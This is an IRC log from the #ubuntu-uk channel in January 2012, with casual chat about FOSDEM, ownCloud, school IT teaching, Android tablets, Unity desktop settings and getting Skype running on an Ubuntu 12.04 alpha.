<KrimZon> but I wasn't pleased that it wasn't so modular any more
<Knightwise> hey everyone
<Knightwise> good morrrrrning
<AlanBell> o/ Knightwise
<Knightwise> hey Alan ! :)
<Knightwise> how are you today
<AlanBell> things are good with me :)
 * AlanBell sets up a happy hour for Thursday
<Knightwise> cool :)
<AlanBell> tonytiger: are you around on Thursday evening in the Southampton area?
<AlanBell> and/or anyone else
<Knightwise> anyone of you guyz going to fossdem ?
<MartijnVdS> \o
<MartijnVdS> Knightwise: Jij woont ernaast! ;)
<Knightwise> Lol indeed MartijnVdS i'm probably going on sat or sunday
<MartijnVdS> Sunday probably
<Knightwise> cool . perhaps we'll catch eachother over there :) would be great to meet you in person for once :)
 * MartijnVdS buys a fake moustache
<Knightwise> MartijnVdS: your bodily odour will betray you
<MartijnVdS> Hey! I shower every few weeks!
<MartijnVdS> More in the rain season.
<Knightwise> I thought you scraped off the soot with a shovel ?
<MartijnVdS> Knightwise: My name isn't "Piet". And I don't live in Spain.
<Knightwise> Lol :)
<Knightwise> i'm not a belgian bishop .. so your kids are safe
<MartijnVdS> Knightwise: you don't need to be a bishop to be dangerous to kids in Belgium. (proof: Marc D)
<MartijnVdS> Aaaaaanyway :)
<MartijnVdS> I'd like a #u-uk meeting (if enough people are coming) at FOSDEM
<Knightwise> Indeed. i'll be there to do some interviews and stuff
<Knightwise> and ask the ubuntu guy what the crap they were on when they designed unity
<MartijnVdS> Knightwise: it must have been good stuff
<Knightwise> and i'll be huggin Ken Fallon cuz i've never met him in person yet and we've been workin together for a while now (The Knightcast is also featured on HPR)
<Knightwise> but ..
<Knightwise> what i came down for . :)
<MartijnVdS> ?
<Knightwise> i've played around with owncloud
<Knightwise> and i'm pretty impressed
<MartijnVdS> pwncloud?
<Knightwise> Owncloud :)
<Knightwise> used it yett ?
<MartijnVdS> no
<Knightwise> its pretty easy to install and allmost works out of the box.
<MartijnVdS> what does it do?
<Knightwise> its basically your own dropbox service
<MartijnVdS> ah
<MartijnVdS> my nas has that now
<MartijnVdS> (Synology)
<MartijnVdS> I think
<Knightwise> after you install it you get a nice web interface to up and download files to , create accounts ets ets
<Knightwise> etC etC ..
<MartijnVdS> sounds like my NAS
<Knightwise> But you can also hook up to it with clients on several OS's
<Knightwise> (ios, android etc)
<MartijnVdS> ios, android, windows for now
<Knightwise> but now all i need is something like a dropbox client that does offline syncin
<MartijnVdS> but it has webdav so Linux should work
<MartijnVdS> and OSX
<Knightwise> yep , osx works , linux works (for mounting it as a drive)
<Knightwise> now i just need an offline sync client
<MartijnVdS> http://i.qkme.me/35q9i5.jpg
<Knightwise> Facepalm
<daubers> Evening
<MartijnVdS> \o daubers
<Knightwise> hey daubers  !
 * Knightwise is relieved
 * Knightwise is no longer the handsomest person in the room
<daubers> Uhhh....
<daubers> what?#
<tonytiger> AlanBell: maybe, what's up?
<BigRedS> Ah, tonytiger, have you much use for a us uuk podcast mirror? I've just acquired a us vps that's not doing a huge amount
<tonytiger> BigRedS: the more the merrier, really.
<MartijnVdS> Knightwise: http://www.quickmeme.com/inappropriate-radio-DJ/
<AlanBell> tonytiger: I will be in the area
<FirewallCastle> Hi
 * FirewallCastle bring beer to Ubuntu UK channel, enough to go around (if your legal to drink).
<MartijnVdS> \o/
<smittix> o/
<smittix> Evening all
<FirewallCastle> Evening
<tonytiger> AlanBell: lurking in car parks as normal, or something specific planned?
<AlanBell> I was thinking of declaring a happy hour
<jutnux> Thought you were going to say war for a minute.
 * AlanBell declares war on happiness and war on the causes of happiness
<christel> awww
<FirewallCastle> War against Microsoft's dirty business tactics? :)
<christel> i do like a good war
<directhex> war. war never changes
<MartijnVdS> fallout \o/
<FirewallCastle> war, to make a change, change for good, change for a better future on computers
<tonytiger> AlanBell: OK, we might be able to pop out for a drink
<AlanBell> \o/
<FirewallCastle> To many schools drill Microsoft this and Microsoft that into kids.
<MartijnVdS> Êâ¿Ê
<FirewallCastle> All I hear is how good internet explorer is and how rubbish firefox is.
<FirewallCastle> :\
<MartijnVdS> Well they pay for the software.. better have it be praised
<FirewallCastle> Why pay for it though?
<FirewallCastle> Why not teach our kids the way of Linux
<FirewallCastle> get kids programming
<FirewallCastle> making games
<FirewallCastle> programs
<FirewallCastle> using their brains
<MartijnVdS> FirewallCastle: you should join #raspberrypi :)
<FirewallCastle> :)
<FirewallCastle> I am in a queue to buy a Raspberry Pi :)
<MartijnVdS> so is everyone here I think
<AlanBell> right, precise reboot time. See you on the other side o/
<MartijnVdS> good luck AlanBell
<FirewallCastle> Schools need to invest in the freedom of linux imo.
<FirewallCastle> Teaching kids to program
<FirewallCastle> so when they leave school, they have a skill.
<FirewallCastle> does anyone else agree with my rant?
<FirewallCastle> ...Hello?
 * FirewallCastle wonders if he is all alone.
<directhex> there are very very few IT teachers with a real background in computinhg
<directhex> and for the past couple of decades, IT teaching has focused on "Job skills" - i.e. secretarial skills in excel & word
<jutnux> Yes, the debate on rubbish IT.
<jutnux> FirewallCastle: YES
<jutnux> My IT teacher (who doesn't have a degree) said they only teach Windows as that's all companies use.
<jutnux> Now whilst this mostly is true, what if they do come across a system with Mac or Linux on?
<mattt> jutnux: then they bring in the ghost busters
<czajkowski> well the majority of folks still need basic skills which teachers do teach and kids do need
<czajkowski> so while folks may get all cranky, kids do still need experience in learning how to use excell or make presensations using ppt
<jutnux> czajkowski: Of course they do, but 16 year olds should have learned that a long time before.
<tonytiger> czajkowski: quite, most people will not need to do advanced system administration or programming. But they will need to use e-mail, word processor, spreadsheet and presentation software.
<tonytiger> Making sure there are valid options for those who do wish to learn how to program is the important thing
<jutnux> tonytiger: You don't learn e-mail.
<jutnux> At least not on the course I do :p
<tonytiger> Well, they should teach it ;)
<AlanBell> there is a difference between training and teaching
<jutnux> Word.
<AlanBell> and yay, precise upgrades that just work \o/
<ahayzen> the funny thing is that some people in my A-level IT class can't even use formulas in Excel =-O ...
<czajkowski> tonytiger: btw no way in gods green eath do I want to see a female dr!
<czajkowski> jutnux: no they haven't not correctly
<jutnux> ahayzen: People on my GCSE course don't know how to do the simplest of tasks
<dogmatic69> anyone set up a company before?
<AlanBell> dogmatic69: yes
<jutnux> So yes, Office tasks need to be taught, but not 24/7/250
<ahayzen> jutnux: ikr and some of them do A-level Maths but can't understand functions!
<dogmatic69> AlanBell: is it safe to use one of these online things? how did you do it?
<tonytiger> czajkowski: think outside the box! As it were.
<jutnux> ahayzen: I'm doing GCSE and going to do Maths & BTEC IT at College, I hope people aren't distracting :-(
<czajkowski> tonytiger: NO I already lost david tennant!
<AlanBell> dogmatic69: we used an online formation thing, there are two types, those that register new companies, and those that recycle an existing company and change the name. I don't like the feel of the recycling option but it is fractionally faster
<mattt> dogmatic69: sawt his on hacker news the other week: http://swombat.com/2012/1/7/how-to-register-a-company
<ahayzen> jutnux: lol... i'm hoping to do Software engineering at uni
<jutnux> Can't be bothered with Uni
<ahayzen> jutnux: why not?
<dogmatic69> AlanBell: ye, not keen on inheriting some doggy history :/
<dogmatic69> not in a rush or anything really
<jutnux> ahayzen: I'd rather get a job and vital experience.
<ahayzen> jutnux: good point
<jutnux> ahayzen: And I aim to teach myself most of what I need to know (even though technology advances and stuff) in the next 5/6 years.
<mattt> if i could do it again, i'd do uni ... there's plenty of time to work :D
<BigRedS> yeah, I sort-of wish I'd stuck at uni
<BigRedS> and/.or done something I was interested in
<simondbull> it annoys me that the media can't differentiate between IT/ICT/CS
<ali1234> what's the difference between IT and ICT?
<dogmatic69> mattt: thanks for that
<dogmatic69> AlanBell: do you remember the one you used?
<simondbull> Information Technology and Information Communication Technology -   Communication
<MaOs> Hello
<jutnux> My timetable says IT
<simondbull> jutnux: mine says 'Applied ICT'
<jutnux> It might as well say most boring lesson of all time
<jutnux> I'm at 250mb and I have a few processes open.
<jutnux> Woops
<ahayzen> jutnux: can't be as bad as my lessons with coding in VBA?
<MaOs> I've a question, it's not at FAQ
<MaOs> Anyone could help me please?
<jutnux> ahayzen: I have to make a powerpoint.
<jutnux> MaOs: Shoot.
<ahayzen> jutnux: same for me at GCSE
<MaOs> I've 2 partition in my netbook: C, windows installed, and D, a few programs in
<MaOs> When I try to install ubuntu in D
<simondbull> IT nowadays seems to be a case of who can write this letter the quickest
<MaOs> starts downloading, finish, and when installing, it fails due permission request fails
<MaOs> I must delete everything in D to install?
<jutnux> You running Wubi or what?
<MaOs> yes, wubi
<jutnux> Probably because it is mounted.
<jutnux> Although that shouldn't make any difference.
<jutnux> Try running it from a LiveCD and hitting the option "Install Ubuntu alongside Windows"
<MaOs> Ok, thank you, +respect
<FirewallCastle> Does anyone here use Android on their Phone?
<brobostigon> o/
<ali1234> i did for a while until i got tired of the crashing and having to charge every 6 hours
<FirewallCastle> I think Google are a bit to relaxed with the market, "bad" apps.
<brobostigon> my g1, now with android 2.3.7, lasts best part of 24hrs, normal use.
<FirewallCastle> "bad" = "malware" *
<ali1234> perhaps.
<ali1234> i only have two apps: dropwords and minecraft
<jutnux> My tablet lasts 2 days normal use.
<brobostigon> jutnux: what battery?
<jutnux> Whatever comes with the tablet.
<brobostigon> jutnux: that doesnt answer my question, i needed its specs, so i can compare. to my tablet.
<jutnux> Doesn't say
 * jutnux looks around more
<brobostigon> my tablets battery is 3400mah,
<brobostigon> and 4200mv roughly.
<jutnux> Doesn't say, sorry.
<jutnux> What tablet do you have?
<brobostigon> jutnux: the scroll assential capacitive.
<jutnux> http://www.amazon.co.uk/Storage-Options-52577-Scroll-Capacitive/dp/B004ZZRMQG ?
<brobostigon> yep.
<jutnux> Is it any good?
<brobostigon> mostly, took some tweaking, and i may make my own custom android for it, but yes, otherwise, it is good.
<brobostigon> only problematic bit, is the wifi chipset, and the hdmi output.
<brobostigon> jutnux: it still have some of android phone components enabled, so to slim htings about, as they dont get used, i connected it via adb, and renamed them, so they dont get loaded.
<brobostigon> had*
<jutnux> Ah right.
<jutnux> I have an Archos 101 and it's pretty quick.
<brobostigon> it could maybe do with more ram, sometimes, like when using flash, but otherwise, it is fast and stable.
<ubuntubhoy> have you enabled market access ?
<brobostigon> yes, was there as standard.
<jutnux> ubuntubhoy: Yes, yes I have.
<ubuntubhoy> was for brobostigon
<jutnux> O
<ubuntubhoy> had to help a friend manually root one the other day
<ubuntubhoy> to get proper market on it
<brobostigon> ubuntubhoy: what did you use?
<brobostigon> ubuntubhoy: i mean to root it.
<brobostigon> ubuntubhoy: and is this with the android 2.3.3 version?
<ubuntubhoy> gimme a sec, was a manual rooting guide on the scroll forums
<ubuntubhoy> yeah
<ubuntubhoy> one-click and the other Zroot didn't work
<brobostigon> yes, i tried zroot, and it failed.
<brobostigon> one-click, i am not familier with,
<ubuntubhoy> yah, but on the scroll forum there is a manual rooting guide for the standard scroll that worked
<ubuntubhoy> was just wondering if I missed an easier way
<brobostigon> ubuntubhoy: a search on the market for one-click returns no results.
<brobostigon> ubuntubhoy: baring in mind, i dont have a windows machine/install,
<brobostigon> ubuntubhoy: closest i know of is superoneclick, which requires windows.
<ubuntubhoy> http://scrolltabletforum.co.uk/site/viewtopic.php?f=42&t=1529
<brobostigon> let me look, minute.
<ubuntubhoy> had to use that guide, and use a little jiggery pokery to get it to work
<ubuntubhoy> mate posted on MODACO, but got no joy there either
<brobostigon> ok, looks interesting,.
<brobostigon> ubuntubhoy: i will have a better look at that tmrw, when i am more awake.
<ubuntubhoy> np
<ubuntubhoy> hope it helps
<brobostigon> thank you.
<brobostigon> let me see tmrw.
<ubuntubhoy> jutnux, how is the archos ?
<ubuntubhoy> I have 2 Vega's for the kids running HC & they are pretty cool
<ubuntubhoy> plus I run Hc & ICS on my Dell Duo, but it not 100% on it
<jutnux> Pretty good for the price.
<jutnux> I just play Minecraft on it most of the time ;-)
<ubuntubhoy> lol
<ubuntubhoy> I use it for browsing, IRC, kindle that kinda thing
<jutnux> Me too haha
<jutnux> I prefer Aldiko over the Kindle appl though
<ubuntubhoy> hmm
<ubuntubhoy> I like that I can sync between the phone, Android & Ubuntu with kindle on the Duo
<ubuntubhoy> but Aldiko is a nicer interface
 * AlanBell set up an orca pronounciation substitution so it pronounces czajkowski as Laura
<jutnux> It's cha-cow-ski right? Or chy-kov-sky
<jutnux> ski*
<jutnux> Anyone watch stargazing?
<czajkowski> chi kov ski
<AlanBell> yeah, but orca mangles it because it is normally in English mode, espeak can get it right in polish mode
<AlanBell> spd-say -l pl czajkowski
<AlanBell> that gets it right
<AlanBell> seezashcowski is what orca reads it as though
<AlanBell> and it looks like global menus got slightly worse and indicator menus broke altogether
<czajkowski> how does one tell what version of unity they are running ?
<AlanBell> unity --version
<AlanBell> unity 5.0.0
<czajkowski> running that also
<swat_> i just realised that i was running unity-2d
<swat_> i've switched to 'proper' unity, and it is a lot lot faster
<czajkowski> I've seen some folks say they can change the colour of the side panel
<czajkowski> how?
<AlanBell> ccsm, unity plugin, experimental tab, background colour, set it to something and twiddle the opacity
<czajkowski> ahhh
<czajkowski> http://i.imgur.com/0wLsT.jpg
<czajkowski> current desktop
 * AlanBell tries the unity switcher again
<MooDoo> evening all
<AlanBell> nope, it is still bonkers
 * czajkowski hugs MooDoo 
<MooDoo> :) x
<ali1234> switcher?
<AlanBell> alt-tab
<ali1234> oh that
<czajkowski> ali1234: whats wrong
<czajkowski> mine is working
<AlanBell> you can turn off the unity one and turn on a normal one
<czajkowski> get an image on screen to alt tab through
<bigcalm> 12.04 alpha1 burnt to dvd. Time to rip out the laptop's hdd and put in the ssd
<swat_> it certainly takes some getting useful
<ali1234> i don't use alt-tab. i find it an very inefficient way to switch between windows
<czajkowski> ali1234: how else do you.......
<AlanBell> czajkowski: it raises all windows of a particular type of application, you can't switch between two windows of different types without other stuff being moved around
<ali1234> i use the spread view, which is nearly as bad
<gordonjcp> right
<gordonjcp> here is why pulseaudio is bad
<gordonjcp> I've been listening to some music for a few minutes
<gordonjcp> thinking "this is a pretty damn strange mix, even for The Orb"
<ali1234> everything sounds like underwater right?
<gordonjcp> there's a pop-under advert with autoplaying noisy video going
<ubuntuuk-planet> [Alistair McKinlay] The Day the Internet Went Black - http://www.10people.co.uk/index.php/2012/01/the-day-the-internet-went-black/
<ali1234> czajkowski: i don't have a mental map of windows that is compatible with any form of alt-tab
<ali1234> i think "i want the terminal in the top right of desktop 3"
<ali1234> alt-tab can never show me which one that is
<ali1234> the spread sort of can, except that it shows windows from all desktops, and there's a bug that makes it randomly shuffle everything around
<ali1234> what wi would do under gnome is go to desktop 3, then start clicking terminals on the taskbar. if it's the wrong one, click it again and it goes away. try the next one...
<ali1234> if you try to do that on unity all hell breaks loose
<ali1234> you can't show a window and then hide it again without mousing all over the place
<ali1234> see i like to use the mouse pointer as a kind of bookmark
<ali1234> if i'm looking through a series of windows, i don't need to remember which ones i've checked. i've checked all the ones on the left of the mouse pointer, on the task bar
<ali1234> doesn't work with a dock
<ali1234> also doesn't work at all with alt-tab
<AlanBell> looking at the unity launcher API it seems that anything can add quicklist entries to anything
<AlanBell> so you don't have to be the running application to tinker with the quicklists
<AlanBell> so I think it would be possible for something to run and get all the window titles of each application and add quicklist entries for them
<AlanBell> not quite sure how you specify the action to take on a dynamic quicklist entry
<bigcalm> Using an SSD, I'm sure the 12.04 install time has been shrunk
<bigcalm> Oh poo!
<bigcalm> Installer crashed :(
<gord> that explains that then ;)
<bigcalm> Just had an error report?
<gord> AlanBell, dbusmenu right? just connect to the activated signal
<gord> on a menu item
<bigcalm> Maybe I should try installing 11.10 and then upgrading to 12.04 alpha1
<bigcalm> Actually, this time I'll not connect it to the 'net before installing
 * hamitron grumbles
<bigcalm> Hungry?
#ubuntu-uk 2012-01-17
<bigcalm> Aha, not giving it 'net access during install worked! :D
<AlanBell> this looks like how to connect menus to functions to do stuff https://answers.launchpad.net/unity/+question/158722
<bigcalm> Anybody shop at Sainsbury's and know how to decipher their receipts?
<bigcalm> BGTY TNA MY 3X80G
<bigcalm> BGTY is Be Good To Yourself, but I can't workout TNA MY
<ali1234> tuna mayo
<bigcalm> YES!
<bigcalm> Thank you :D
<bigcalm> It's the 3 tin packs of ready mixed tuna mayo that Hayley has been buying
<ali1234> hmm i didn't know you could get ready mixed tuna mayo
<ali1234> well, not in a tin anyway
<hamitron> ali1234, your life shall now be forever changed? ;)
<ali1234> a little bit
<bigcalm> subversion isn't in software centre for 12.04 - that's going to make my life difficult
<ali1234> whaaaaat
<ali1234> that makes no sense
<bigcalm> Just a little
<bigcalm> Well, it's there. But not available
 * bigcalm pokes the software sources
<bigcalm> That was it. Universe wasn't enabled
<bigcalm> Weird
<v14502424> hi! i've messed up my /usr/share permissions, can i get an advise on how to fix them?
<AlanBell> morning all
<MartijnVdS> hi AlanBell
<MartijnVdS> how's the pangolin treating you?
<pangolin> I try to be nice to him as much as possible
<MartijnVdS> 8-)
 * AlanBell tickles pangolin 
 * pangolin giggles
<pangolin> kan I haz a cookie now?
<AlanBell> !cookie
<lubotu3> Wow! You're such a great helper, you deserve a cookie!
<AlanBell> MartijnVdS: it is kind of like oneiric, perhaps fractionally more polished in places
<AlanBell> but some big things are not done yet
<v14502424> hi! i've messed up my /usr/share permissions, can i get an advise on how to fix them?
<AlanBell> and they have broken more things for orca users, some of them quite inexplicable regressions
<AlanBell> v14502424: what did you do?
<v14502424> well, i was compiling a kernel, so i moved share folder to ntfs partition due to limited /usr partition size
<AlanBell> v14502424: pretty much everything there should be owned by root and should be -rw-r--r--
<v14502424> what about the executables?
<MartijnVdS> executables shouldn't be in /usr/share/
<MartijnVdS> the most sure way would be to reinstall all your packages
<MartijnVdS> Not necessaily a system re-install, dus dpkg -i (or apt-get --reinstall) everything you already have installed
<kaushal> Hi
<v14502424> thanks a lot!
<AlanBell> v14502424: actually there are executables in there
<kaushal> Hi AlanBell
<kaushal> is there a way to log user details once a user logs in to the system ?
<kaushal> I have auth.log and history
<kaushal> user details like IP and username
<kaushal> or do i need to have audit system in place
<kaushal> and is there a way to prevent removing history ?
<kaushal> of root user
<AlanBell> MartijnVdS: http://paste.ubuntu.com/807125/ executable files under /usr/share, way more than I thought there would be
<AlanBell> kaushal: there isn't much you can prevent the root user from doing
<MartijnVdS> AlanBell: ah scripting languages. Of course.
<kaushal> AlanBell: ok
<kaushal> AlanBell: Please suggest about is there a way to log user details once a user logs in to the system
<kaushal> is it done using audit system ?
<AlanBell> http://manpages.ubuntu.com/manpages/oneiric/man8/auditd.8.html
<AlanBell> something like that I imagine
<kaushal> ok
<MartijnVdS> you could send logs to a remote machine
<MartijnVdS> but then you'd need to secure that one
<MartijnVdS> in the end you need to trust someone
<MooDoo> morning all
<czajkowski> aloha
<MooDoo> morning czajkowski how are you?
<czajkowski> ntb
<MooDoo> good good
<MooDoo> to early eh! :)
<czajkowski> just laying in bed
<MooDoo> pah!
<czajkowski> gets a bit boring
<MooDoo> i'm at work, so yours seems the better idea
<czajkowski> :)
<czajkowski> tea time
<czajkowski> bbiab
<MooDoo> ;ater
<christel> good morning
<MartijnVdS> \o
<MooDoo> morning christel MartijnVdS
<bigcalm> Morning peeps :)
<daubers> Morning
 * daubers eats a nice hot bowl of porridge
<christel> omnomnom
<christel> i should make breakfast
<christel> i may copy you and do porridge
<Seeker`> christel: you  can make me a cooked breakfast, if you like :P
<christel> sure!
<MooDoo> road trip to christel's house for brekkie
<christel> i should bake stuff.. after my flourlol.
<christel> MooDoo: did you hear how clever i was?
<christel> unpacking my ocado delivery and realising that when i edited from 1 to 2 1KG bags of flour i'd managed to change to quantity to 20
<christel> i now have 20KG of flour
<Seeker`> oh dear :P
<mattt> FLOUR!@
<daubers> christel: Time to open that bakery
<christel> hehe
<christel> i am pretty certain i wouldn't make the same error if i was shopping in store rather than online!
<MooDoo> christel: wow clever :)
<bigcalm> christel: it would be difficult, but I'm sure you'd manage ;)
<christel> very! you'd have thought i'd spot it from the basket total at the very least, but no :(
<christel> bigcalm: oi!
<christel> :P
 * bigcalm squeezes christel :)
<Seeker`> I bet they wondered what you are up to with all that flour
<christel> hehe
<christel> mind, i did order some squishy circuit stuff, maybe i should just use ALL the flour to make massive amounts of conducting and insulating dough
<daubers> christel: Working for the american penal system now?
<MartijnVdS> christel: http://www.quickmeme.com/meme/35qguf/
<christel> hahaha
<MartijnVdS> christel: squishy circuit stuff? is that like sugru with embedded wires? :)
<christel> haha sort of, though less effective for fixing stuff i guess!
<christel> it's more like homemade playdough with wires (and blinky lights and stuff) -- it claims to be "fun for toddlers"
<MartijnVdS> ooh
 * MartijnVdS looks at the TED talk about it
<MooDoo> christel: MartijnVdS i've sneaked a look at christels house http://s3-media4.ak.yelpcdn.com/bphoto/jqFQNJhvg2M1ujeXATKlCQ/l.jpg
<christel> hahaha
<TheOpenSourcerer> Morning all: Love this cartoon http://doctormo.deviantart.com/art/Groklaw-PJ-Tribute-204801749
<christel> morning alan :)
<TheOpenSourcerer> Morning christel
<TheOpenSourcerer> And everyone else BTW.
<DJones> Morning all
<MooDoo> mornign
<daubers> \o/
<MooDoo> howdy daubers
<daubers> http://daubers.co.uk/~matt/lolfail.png
<daubers> Error message of the day \o/
<AlanBell> ooh, I know what that CD is
<daubers> :) Slowly working my way through
<daubers> then I can send some epic visualisation stuff to a potential customer
<hoover> morning all
<daubers> Should see if there's a bug about that really I suppose
<daubers> I assume it's nautilus throwing that message?
<bigcalm> Right, a day of tweaking 12.04 into a useable dev setup. 1st off, how does one install skype? :)
<MartijnVdS> bigcalm: not part of a useable dev setup :P
<daubers> bugzilla is rubbish
<gord> bigcalm, apt-get install vim, done!
<Myrtti> emacs
<MartijnVdS> Holy war time
<gord> bleeeh, i have a collection of ghibli films from one distributor. they happened to number them, 1-14. i have them all. but now they released the latest movie and gave it the number "6". what am i supposed to do with that >:(
<MartijnVdS> gord: twitter angrily about it.
<MartijnVdS> What else?
<gord> thinking maybe scan it in and gimp it? i dunno
<Myrtti> gord: do you have a list and a link?
<gord> Myrtti, http://www.amazon.co.uk/Studio-Ghibli-Collection-DVD-Releases/lm/2YHXRBPUIU816
<gord> but the company have decided to "start again" with the numbering for blu-ray double plays. but you can't get Arrietty on bluray without it being a double play
<Myrtti> whoa
<Myrtti> quite many I've not seen
 * bigcalm remembers not to ask questions if he really needs some help
<gord> the gem in that list that i hadn't seen until i built up the collection was whisper of the heart, which might take over princess mononoke as my second favourite ghibli movie
<gord> it helps to see the cat returns first however, its a kind of semi sequel of a sort
<JamesTait> Buenos dÃ­as a todos!
<s-fox> Hello.
<MooDoo> morning s-fox
<s-fox> Hello MooDoo
<MooDoo> s-fox: how are you
<s-fox> Nervous, excited, freaked out...
<s-fox> Take your pick ;)
<MooDoo> s-fox: wassup?
<MooDoo> ah just seen your twitter
<MooDoo> good luck
<matti> MooDoo: :)
<MooDoo> what position?
<MooDoo> matti: ?
<matti> MooDoo: Just smiling ;/
<matti> :<
<MooDoo> matti: oh, thank you :) lol
<matti> :)
<s-fox> Well I am nervous about the interview, php dev MooDoo
<MooDoo> s-fox: ah you'll ace it.  You know php don't you?
<s-fox> 5 years of experience.
<s-fox> Might mean I know a bit
<MooDoo> s-fox: well then nothing to worry about
<s-fox> I am excited because my hunt for a new job is getting somewhere finally.
<s-fox> Freaked out because I have had 2 other companies contact me in the last 36 hours.
<s-fox> PANIC ;)
<MooDoo> s-fox: don't panic, remain calm, and chill it's only an interview
<MooDoo> lol
<MartijnVdS> Valium o'lock
<MartijnVdS> clock*
<matti> Hi MartijnVdS ;]
<MartijnVdS> hi :)
<s-fox> Hello matti  :)
<matti> Hi s-fox :)
<bigcalm> Synergy is sending @ as q to my laptop. Makes setting up email tricky
<MartijnVdS> well it kind of looks like a q doesn't it
<smittix> Anyone had any dealings with gotoassist?
<smittix> Need a decent remote support solution
<MartijnVdS> smittix: cross-platform?
<smittix> MartijnVdS: Yeah.
<smittix> I was looking at Teamviewer.
<MartijnVdS> smittix: teamviewer works but is expensive
<MartijnVdS> TightVNC and RealVNC come with "reverse connection" options
<smittix> I suppose I could roll them out via AD too.
<MartijnVdS> (i.e. they connect to your listening client)
<brobostigon> good morning everyone.
<matti> Hi brobostigon
<brobostigon> hi matti
<davmor2> morning all
<davmor2> czajkowski: prod
<MooDoo> morning biatch, er i mean davmor2
<brobostigon> ian hislop at the enquiry, interesting, talking about private eye.
<davmor2> MooDoo: Morning you owld hipster you
<MooDoo> davmor2: how's it hanging?  still trying to annoy czajkowski i see, good on ya
<davmor2> MooDoo: I figure her's well enough now for a gentle goad
 * brobostigon watches and listens carefully, and would like a recording.
<AlanBell> brobostigon: where?
<brobostigon> AlanBell: bbc news 24.
<awilkins> Stupid idea : Is there a screencasting solution that will record RDP?
<bigcalm> Has anybody here got Skype running on 12.04 alpha1?
<awilkins> It would seem to be a total no-brainer - a protocol designed to convey your screen to a remote client with a minimum of bandwidth should be eminently suitable for screencasting.
<MartijnVdS> I hear you've just volunteered
<AlanBell> awilkins: you can do it with vnc
<awilkins> AlanBell, But doesn't VNC record the video of your whole screen? I'm aware you can screencast / record with VNC but I've yet to get it working satisfactorily on Windows
<awilkins> I shall have another go with a more recent build of VNC.
 * Myrtti observes minute of silence on the 404 of jaiku.com http://www.youtube.com/watch?v=r9RwkNVqtog
<awilkins> This is for muggles to make me recordings of the use of features in tools so we can comprehend / optimize the UI
<AlanBell> awilkins: doesn't RDP do the whole screen?
<awilkins> AlanBell, It does, but the protocol is pretty tight - it will work over a modem. The only thing that comes close in my experience is NX
<awilkins> It just seems a perfect way to capture screencasts in very little bandwidth
<AlanBell> is there an RDP server for Ubuntu?
<awilkins> AlanBell, There's a client, but I'm not aware of a server
<awilkins> But this is for recording Windows sessions :-)
<awilkins> Aha, xrdp
<awilkins> http://www.xrdp.org/
<AlanBell> !info xrdp precise
<lubotu3> xrdp (source: xrdp): Remote Desktop Protocol (RDP) server. In component universe, is optional. Version 0.5.0-1ubuntu1 (precise), package size 260 kB, installed size 1524 kB
<awilkins> So presumably you could add a timebase to a serialized RDP stream and get a very tight screencast
<AlanBell> depends how chatty it is about missing bits
<awilkins> Is there a way I can change the "VPN Connection Successful" notifier popup to tell me the IP address I've been allocated - just a matter of convenience, so I know which IP address to feed into another terminal?
<MartijnVdS> awilkins: not wihtouht hacking the source
<bigcalm> The python script I have to use to connect to a client's VPN tells me the IP address I've been allocated
<bigcalm> One could grep ipconfig maybe
<MartijnVdS> not ifconfig, ip
<MartijnVdS> ifconfig = old & busted
<MartijnVdS> ip addr = new hotness
<davmor2> awilkins: 2 things you can try looking under vpn on n-m under edit Connections,  or look at the options in xrdp
 * brobostigon is reminded of men in black, with MartijnVdS's statement there.
<AlanBell> bigcalm: yes, just got it working
<AlanBell> bigcalm: run it from a terminal, I got skype: error while loading shared libraries: libXv.so.1: cannot open shared object file: No such file or directory
<AlanBell> bigcalm: and I did sudo apt-get install libxv1:i386 and now it works
<AlanBell> as much as skype ever works
<bigcalm> AlanBell: great, thanks
<bigcalm> AlanBell: http://paste.ubuntu.com/807289/
<AlanBell> oh :( try sudo apt-get install ia32-libs
<BigRedS>    Anyone got any experience writing Apache2 modules? I want to intercept some of its logging and ideally change what's logged and how, alternatively just Do Stuff on certain things being logged. More wondering about the feasibility than after an actual tutorial right now.
<MartijnVdS> BigRedS: you can set log formats and pipe to programs
<MartijnVdS> BigRedS: is that not enough? :)
<bigcalm> AlanBell: should I install the 32bit version from skype.com then?
<MartijnVdS> BigRedS: Writing a module using mod_perl2 or mod_python would be the easiest I guess
<AlanBell> bigcalm: no, the '64 bit' version is 32bit with a veneer of 64ness to it
<bigcalm> Ok
<bigcalm> And install the dependancies before skype?
<AlanBell> don't think that matters
<AlanBell> or the dependencies are wrong now I think
<AlanBell> or they get put in the wrong place
 * AlanBell hasn't really got a clue
<bigcalm> Might have to leave it until this evening. It's not coming easy
<bigcalm> dogmatic69: turns out the reason that cakephp 1.1 can run on php 5.3 is APC was installed. Found out by trying to run the project on a new system without apc
<bigcalm> Hi btw
<bigcalm> Might put the HDD back in the laptop so that I can be productive in London tomorrow
<dogmatic69> bigcalm: :/
<BigRedS> MartijnVdS: Belated thanks! I'd not noticed the mod_perl approach. Should be a good deal easier than subduing C :)
<s-fox> I will be back later. Goodbye.
<bigcalm> dogmatic69: it's odd. apc provides a compatibility layer?
<dogmatic69> bigcalm: could be cached
<bigcalm> From when? I checked out the project on a fresh ubuntu 12.04 install. Site didn't work. Installed php-apc. Site worked
<simondbull> who here reads OMG! Ubuntu! ?
<oimon> simondbull: why you ask?
<oimon> some of us here do
<bigcalm> But by no means all
<simondbull> oimon:just wondering about people's opinions on it
<ali1234> garbage
<oimon> it caters to a certain audience
<simondbull> oimon: i guess it does
<oimon> and has its uses.
<davmor2> I read some of it's stuff along with half a dozen others
<ali1234> not quite as bad as the register though
<simondbull> omg is brilliant for thiose who want to publicsize software
<oimon> they certainly have a high readership, and are influential
<AlanBell> it is a tabloid
<oimon> a lot of readers (judging by the comments on OMG) look like reactionary, influential teenage redditor types
<oimon> if it excites the kids into getting involved then great
<simondbull> yeap, it looks as if its opular among the 20-somthings too
<popey> a lot of canonical people read it
<popey> and the comments
<gord> i don't read omg, but i do read reddit
<oimon> i dare say it has a better reputation more recently compared with some inflammatory articles a couple of years ago
<gord> well the reddit.com/r/ubuntu bit anyway
<oimon> gord i've seen you on reddir
<simondbull> it looks as OMG! is an integral platform for canonical developers to find out what the people think of certain topics.....
<oimon> reddit/ubuntu is just re-posts of omg articles anyway
<popey> i pretty much never go to reddit
<gord> i tend to skim over it in the morning instead of filtering through rss feeds
<gord> never found an rss reader that i get on with
<oimon> liferea now supports google reader
<Oli``> Liferea is the closest I've got to happy.
<gord> supports google reader how?
<gord> if its via the export thing in google reader then i don't want it
<oimon> gord: allows you to access/update feeds setup in google reader
<oimon> gord: http://ubuntuone.com/6wonY9vagG27VaNefb2ARL
<oimon> for a long time it didn't support tags/folders from goog but now it does
